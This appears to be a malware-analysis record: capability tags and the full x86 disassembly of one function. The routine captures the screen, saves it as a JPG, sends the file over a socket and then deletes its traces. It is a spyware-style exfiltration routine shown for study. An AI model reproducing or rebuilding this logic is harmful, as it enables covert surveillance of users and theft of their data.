Function at 0x403850
Capabilities:
Capture screenshot
Delete file
Read and send data from client to server
Read file on windows
Send data
Send data on socket
Write file on windows

Disassembly:
sub esp, 0xaf0
mov eax, dword [0x41201c]
xor eax, esp
mov dword [esp + 0xaec], eax
mov eax, dword [esp + 0xaf4]
push ebx
push ebp
push esi
push edi
xor ebx, ebx
push ebx
push ebx
push ebx
push str.DISPLAY
mov dword [esp + 0x2c], eax
call dword [sym.imp.GDI32.dll_CreateDCA]
mov esi, eax
push esi
mov dword [esp + 0x70], esi
call dword [sym.imp.GDI32.dll_CreateCompatibleDC]
mov edi, dword [sym.imp.GDI32.dll_GetDeviceCaps]
push 8
push esi
mov dword [esp + 0x1c], eax
call edi
push 0xa
push esi
mov ebp, eax
call edi
mov edi, eax
push edi
push ebp
push esi
call dword [sym.imp.GDI32.dll_CreateCompatibleBitmap]
mov ecx, dword [esp + 0x14]
push eax
push ecx
call dword [sym.imp.GDI32.dll_SelectObject]
mov edx, dword [esp + 0x14]
push 0xcc0020
push ebx
push ebx
push esi
push edi
push ebp
push ebx
push ebx
push edx
mov dword [esp + 0x3c], eax
call dword [sym.imp.GDI32.dll_BitBlt]
mov eax, dword [esp + 0x18]
mov ecx, dword [esp + 0x14]
push eax
push ecx
call dword [sym.imp.GDI32.dll_SelectObject]
cmp dword [esp + 0x1c], ebx
mov dword [esp + 0x18], eax
jne 0x403907
push esi
mov esi, dword [sym.imp.GDI32.dll_DeleteDC]
call esi
mov edx, dword [esp + 0x14]
push edx
call esi
jmp 0x403ef4
mov esi, ebp
shl esi, 5
add esi, 0x1f
sar esi, 3
and esi, 0xfffffffc
imul esi, edi
push esi
push 1
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push eax
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
push esi
push ebx
push eax
mov dword [esp + 0x30], eax
call sub.MSVCR80.dll_memset
add esp, 0xc
push 0x2c
lea eax, [esp + 0x74]
push ebx
push eax
call sub.MSVCR80.dll_memset
mov cx, word [esp + 0xb14]
movzx esi, cx
imul esi, ebp
add esi, 0x1f
sar esi, 3
add esp, 0xc
and esi, 0xfffffffc
xor eax, eax
imul esi, edi
push ebx
mov dword [esp + 0x30], eax
mov dword [esp + 0x34], eax
mov dword [esp + 0x38], eax
mov word [esp + 0x3c], ax
mov eax, dword [esp + 0x28]
lea edx, [esp + 0x74]
push edx
mov edx, dword [esp + 0x1c]
push eax
mov word [esp + 0x8a], cx
push edi
lea ecx, [esi + 0x36]
mov dword [esp + 0x3e], ecx
mov ecx, dword [esp + 0x28]
push ebx
push ecx
push edx
mov dword [esp + 0x8c], 0x28
mov dword [esp + 0x90], ebp
mov dword [esp + 0x94], edi
mov word [esp + 0x98], 1
mov dword [esp + 0x9c], ebx
mov word [esp + 0x48], 0x4d42
mov dword [esp + 0x52], 0x36
call dword [sym.imp.GDI32.dll_GetDIBits]
mov eax, dword [esp + 0x1c]
push ebx
push 0x80
push 2
push ebx
push 2
push 0x40000000
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov ebp, dword [sym.imp.KERNEL32.dll_WriteFile]
push ebx
lea ecx, [esp + 0x2c]
push ecx
push 0xe
lea edx, [esp + 0x38]
mov edi, eax
push edx
push edi
call ebp
push ebx
lea eax, [esp + 0x2c]
push eax
push 0x2c
lea ecx, [esp + 0x7c]
push ecx
push edi
call ebp
mov eax, dword [esp + 0x24]
push ebx
lea edx, [esp + 0x2c]
push edx
push esi
push eax
push edi
call ebp
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push 0x12b
lea ecx, [esp + 0xb5]
push ebx
push ecx
mov byte [esp + 0xbc], bl
call sub.MSVCR80.dll_memset
add esp, 0xc
call dword [sym.imp.KERNEL32.dll_GetTickCount]
push eax
lea edx, [esp + 0xb4]
push str.D:jt_u.jpg
push edx
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0xc
push 0x3e8
lea eax, [esp + 0x314]
push ebx
push eax
call sub.MSVCR80.dll_memset
add esp, 0xc
or ebp, 0xffffffff
push 0x41214c
mov dword [esp + 0x40], vtable.ATL::CImage.0
mov dword [esp + 0x44], ebx
mov dword [esp + 0x48], ebx
mov dword [esp + 0x4c], ebx
mov dword [esp + 0x50], ebx
mov dword [esp + 0x54], ebx
mov dword [esp + 0x58], ebx
mov byte [esp + 0x5c], bl
mov byte [esp + 0x5d], bl
mov dword [esp + 0x60], ebp
mov dword [esp + 0x64], ebx
mov dword [esp + 0x68], ebx
mov dword [esp + 0x6c], ebx
call dword [sym.imp.KERNEL32.dll_EnterCriticalSection]
add dword [0x412164], 1
push 0x41214c
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
mov ecx, dword [esp + 0x1c]
push ecx
lea edx, [esp + 0x40]
push edx
call fcn.00401790
lea ecx, [esp + 0x310]
mov esi, eax
add ecx, ebp
mov al, byte [ecx + 1]
add ecx, 1
cmp al, bl
jne 0x403af4
cmp esi, ebx
mov eax, dword [str.Load:]
mov dx, word [0x40f6d8]
mov dword [ecx], eax
mov word [ecx + 4], dx
jge 0x403b6e
push ebx
push 0x12c
lea eax, [esp + 0x1e8]
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
push ebx
push 0x1000
call dword [sym.imp.KERNEL32.dll_FormatMessageA]
lea eax, [esp + 0x1e0]
mov esi, eax
nop
mov cl, byte [eax]
add eax, 1
cmp cl, bl
jne 0x403b40
lea edi, [esp + 0x310]
sub eax, esi
add edi, ebp
mov cl, byte [edi + 1]
add edi, 1
cmp cl, bl
jne 0x403b54
mov ecx, eax
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
jmp 0x403b94
lea eax, [esp + 0x310]
add eax, ebp
mov cl, byte [eax + 1]
add eax, 1
cmp cl, bl
jne 0x403b77
mov cx, word [0x40f6dc]
mov dl, byte [0x40f6de]
mov word [eax], cx
mov byte [eax + 2], dl
lea ecx, [esp + 0xb0]
lea ebx, [esp + 0x3c]
call fcn.00401ee0
lea ecx, [esp + 0x310]
add ecx, ebp
lea ecx, [ecx]
mov dl, byte [ecx + 1]
add ecx, 1
test dl, dl
jne 0x403bb0
mov edx, dword [str.Save:]
mov dword [ecx], edx
mov dx, word [0x40f6e4]
xor ebx, ebx
cmp eax, ebx
mov word [ecx + 4], dx
jge 0x403c30
push ebx
push 0x12c
lea eax, [esp + 0x1e8]
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
push ebx
push 0x1000
call dword [sym.imp.KERNEL32.dll_FormatMessageA]
lea eax, [esp + 0x1e0]
mov ecx, eax
mov edi, edi
mov dl, byte [eax]
add eax, 1
cmp dl, bl
jne 0x403c00
lea edi, [esp + 0x310]
sub eax, ecx
mov esi, ecx
add edi, ebp
mov cl, byte [edi + 1]
add edi, 1
cmp cl, bl
jne 0x403c16
mov ecx, eax
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
jmp 0x403c5d
lea eax, [esp + 0x310]
add eax, ebp
lea esp, [esp]
mov cl, byte [eax + 1]
add eax, 1
cmp cl, bl
jne 0x403c40
mov cx, word [0x40f6dc]
mov dl, byte [0x40f6de]
mov word [eax], cx
mov byte [eax + 2], dl
mov eax, dword [esp + 0x40]
cmp eax, ebx
je 0x403c90
push eax
mov dword [esp + 0x44], ebx
mov dword [esp + 0x48], ebx
mov dword [esp + 0x4c], ebx
mov dword [esp + 0x50], ebx
mov dword [esp + 0x58], ebx
mov dword [esp + 0x54], ebx
mov dword [esp + 0x60], ebp
mov byte [esp + 0x5d], bl
mov byte [esp + 0x5c], bl
call dword [sym.imp.GDI32.dll_DeleteObject]
lea ecx, [esp + 0x3c]
call fcn.00401560
push ebx
push 0x80
push 3
push ebx
push 3
push closesocket
lea eax, [esp + 0xc8]
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov ebp, eax
lea eax, [esp + 0x310]
add eax, 0xffffffff
mov cl, byte [eax + 1]
add eax, 1
cmp cl, bl
jne 0x403cc3
cmp ebp, 0xffffffff
mov ecx, dword [str.fileh:]
mov dx, word [0x40f6ec]
mov dword [eax], ecx
mov cl, byte [0x40f6ee]
mov word [eax + 4], dx
mov byte [eax + 6], cl
je 0x403d64
push 0x3ff
lea edx, [esp + 0x6fd]
push ebx
push edx
mov dword [esp + 0x2c], 1
mov byte [esp + 0x704], bl
call sub.MSVCR80.dll_memset
mov esi, dword [sym.imp.KERNEL32.dll_ReadFile]
add esp, 0xc
lea esp, [esp]
push ebx
lea eax, [esp + 0x24]
push eax
push 0x400
lea ecx, [esp + 0x704]
push ecx
push ebp
call esi
mov eax, dword [esp + 0x20]
cmp eax, ebx
jbe 0x403e24
push ebx
push eax
mov eax, dword [esp + 0xb14]
lea edx, [esp + 0x700]
push edx
push eax
call sub.WS2_32.dll_send
cmp dword [esp + 0x20], ebx
ja 0x403d20
jmp 0x403e24
push ebx
push 0x12c
lea ecx, [esp + 0x1e8]
push ecx
push ebx
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
push ebx
push 0x1000
call dword [sym.imp.KERNEL32.dll_FormatMessageA]
lea eax, [esp + 0x1e0]
mov ecx, eax
nop
mov dl, byte [eax]
add eax, 1
cmp dl, bl
jne 0x403d90
lea edi, [esp + 0x310]
sub eax, ecx
mov esi, ecx
add edi, 0xffffffff
mov cl, byte [edi + 1]
add edi, 1
cmp cl, bl
jne 0x403da7
mov ecx, eax
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
lea eax, [esp + 0xb0]
rep movsb byte es:[edi], byte [esi]
mov ecx, eax
mov dl, byte [eax]
add eax, 1
cmp dl, bl
jne 0x403dc8
lea edi, [esp + 0x310]
sub eax, ecx
mov esi, ecx
add edi, 0xffffffff
nop
mov cl, byte [edi + 1]
add edi, 1
cmp cl, bl
jne 0x403de0
mov ecx, eax
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
lea eax, [esp + 0x310]
rep movsb byte es:[edi], byte [esi]
lea edx, [eax + 1]
mov cl, byte [eax]
add eax, 1
cmp cl, bl
jne 0x403e02
sub eax, edx
push ebx
push eax
mov eax, dword [esp + 0xb14]
lea edx, [esp + 0x318]
push edx
push eax
call sub.WS2_32.dll_send
push 0x32
call dword [sym.imp.KERNEL32.dll_Sleep]
mov al, byte [0x40f6bc]
mov ecx, dword [0x40f6b4]
mov edx, dword [0x40f6b8]
mov byte [esp + 0xa4], al
xor eax, eax
mov dword [esp + 0xa5], eax
mov dword [esp + 0xa9], eax
mov word [esp + 0xad], ax
mov byte [esp + 0xaf], al
lea eax, [esp + 0x9c]
mov dword [esp + 0x9c], ecx
mov dword [esp + 0xa0], edx
lea ecx, [eax + 1]
jmp 0x403e80
mov dl, byte [eax]
add eax, 1
cmp dl, bl
jne 0x403e80
mov edx, dword [esp + 0xb0c]
push ebx
sub eax, ecx
push eax
lea ecx, [esp + 0xa4]
push ecx
push edx
call sub.WS2_32.dll_send
push ebp
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [esp + 0x1c]
mov esi, dword [sym.imp.KERNEL32.dll_DeleteFileA]
push eax
call esi
lea ecx, [esp + 0xb0]
push ecx
call esi
mov edx, dword [esp + 0x24]
push edx
push 1
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push eax
call dword [sym.imp.KERNEL32.dll_HeapFree]
mov eax, dword [esp + 0x6c]
push eax
push ebx
call dword [sym.imp.USER32.dll_ReleaseDC]
mov ecx, dword [esp + 0x14]
push ecx
call dword [sym.imp.GDI32.dll_DeleteDC]
lea ecx, [esp + 0x3c]
call fcn.00401560
mov ecx, dword [esp + 0xafc]
mov eax, dword [esp + 0x18]
pop edi
pop esi
pop ebp
pop ebx
xor ecx, esp
call fcn.0040e2e2
add esp, 0xaf0
ret